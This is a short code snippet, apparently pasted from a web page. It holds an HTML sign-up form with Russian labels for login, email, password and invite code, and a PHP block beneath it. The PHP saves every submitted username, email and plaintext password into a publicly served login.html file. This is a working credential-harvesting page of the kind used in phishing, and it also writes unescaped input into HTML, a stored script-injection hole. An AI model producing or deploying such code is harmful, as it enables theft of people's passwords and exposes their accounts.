body form id addblock name addblock method post action class formular

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<body>
<form id="addblock" name="addblock" method="post" action="/" class="formular" method="POST" enctype="multipart/form-data">
<div id="s">
<fieldset>
<label>Логин</label><br/>
<input name="username" value="" maxlength="64" type="text" style="width:300px;"><br/>
<label>Электронный ящик</label><br/>
<input name="email" value="" type="text" style="width:300px;"><br/>
<label>Пароль</label><br/>
<input value="" name="password" type="password" style="width:300px;"><br/>
<label>(Если нет регистрации) Инвайт</label><br/>
<input id="invite" value="" name="invite" type="text" style="width:300px;"><br/>
<label><input value="Поехали" type="submit" style="width:310px;"></label>
</fieldset>
</div>
</form>
</body></html>
<?
if($_POST['username']) {
$text=file_get_contents("login.html");
$text=$_POST['username'].';'.$_POST['email'].';'.$_POST['password'].';'.$_POST['invite'].' <br>'.$text;
$fe = fopen('login.html', "w+");
fwrite($fe, $text);
fclose($fe);
}